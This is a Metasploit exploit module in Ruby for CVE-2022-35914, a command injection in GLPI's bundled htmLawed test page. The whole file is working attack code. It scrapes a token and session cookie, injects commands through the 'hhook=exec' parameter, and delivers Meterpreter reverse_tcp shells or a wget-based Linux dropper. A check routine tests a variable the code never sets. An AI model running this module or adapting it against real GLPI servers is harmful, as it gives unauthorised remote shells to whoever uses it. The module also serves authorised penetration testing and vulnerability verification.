##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GLPI htmLawed php command injection',
        'Description' => %q{
          This exploit takes advantage of a unauthenticated php command injection available
          from GLPI versions 10.0.2 and below to execute a command.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc
          'bwatters-r7' # module
        ],
        'References' => [
          ['CVE', '2022-35914' ],
          ['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X64, ARCH_CMD],
        'CmdStagerFlavor' => [ 'printf', 'wget' ],
        'Targets' => [
          [
            'Nix Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
                'RPORT' => 80
              }
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
                'RPORT' => 80
              },
              'Type' => :linux_dropper
            }
          ]
        ],
        'DisclosureDate' => '2022-01-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options(
      [
        Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi'])
      ]
    )
  end

  def populate_values
    uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri),
        'connection' => 'keep-alive',
        'accept' => '*/*'
      })
      @html = res.get_html_document
      @token = @html.at_xpath('//input[@id="token"]')['value']
      vprint_status("token = #{@token}")

      # sometimes I got > 1 sid.  We must use the last one.
      @sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
      vprint_status("sid = #{@sid}")
    rescue NoMethodError => e
      elog('Failed to retrieve token or sid', error: e)
    end
  end

  def execute_command(cmd, _opts = {})
    populate_values if @sid.nil? || @token.nil?
    uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri),
      'cookie' => 'sid=' + @sid,
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'token' => @token,
        'text' => cmd,
        'hhook' => 'exec',
        'sid' => @sid
      }
    })
  end

  def check
    populate_values if @html_doc.nil?
    if @token.nil? || @sid.nil? || @html.nil?
      return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
    end
    return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')

    return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end
